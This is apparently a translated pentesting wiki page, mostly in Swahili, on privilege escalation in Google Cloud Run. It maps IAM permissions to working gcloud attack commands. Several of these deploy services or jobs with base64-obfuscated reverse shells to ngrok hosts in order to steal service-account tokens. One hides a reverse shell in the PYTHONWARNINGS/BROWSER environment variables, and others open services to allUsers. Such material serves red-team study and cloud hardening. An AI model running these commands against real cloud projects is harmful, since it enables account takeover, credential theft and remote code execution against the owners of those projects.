GCP - Run Privesc

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Cloud Run

Kwa taarifa zaidi kuhusu Cloud Run angalia:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Mshambuliaji mwenye ruhusa hizi anaweza create a run service running arbitrary code (arbitrary Docker container), kuambatanisha Service Account kwa huduma hiyo, na kufanya code exfiltrate the Service Account token from the metadata.

Exploit script kwa njia hii inaweza kupatikana hapa na Docker image inaweza kupatikana hapa.

Kumbuka kwamba ukitumia gcloud run deploy badala ya kuunda tu service it needs the update permission. Angalia mfano hapa.

run.services.update , iam.serviceAccounts.actAs

Kama ile iliyotangulia lakini inasasisha service:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:22.04 \  # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Jipatie ruhusa za awali juu ya cloud Run.

# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1

# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1

# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Anzisha job yenye reverse shell ili kuiba service account iliyoonyeshwa katika amri. Unaweza kupata exploit here.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Kama ilivyo kwa ile ya awali, inawezekana update a job and update the SA, kisha send the command na execute it:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Jipe ruhusa zilizotajwa hapo awali kwa Cloud Jobs.

# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1

# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1

# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Dhulumu env variables za job execution ili execute arbitrary code na kupata reverse shell ili dump maudhui ya container (source code) na kufikia SA ndani ya metadata:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

Marejeo

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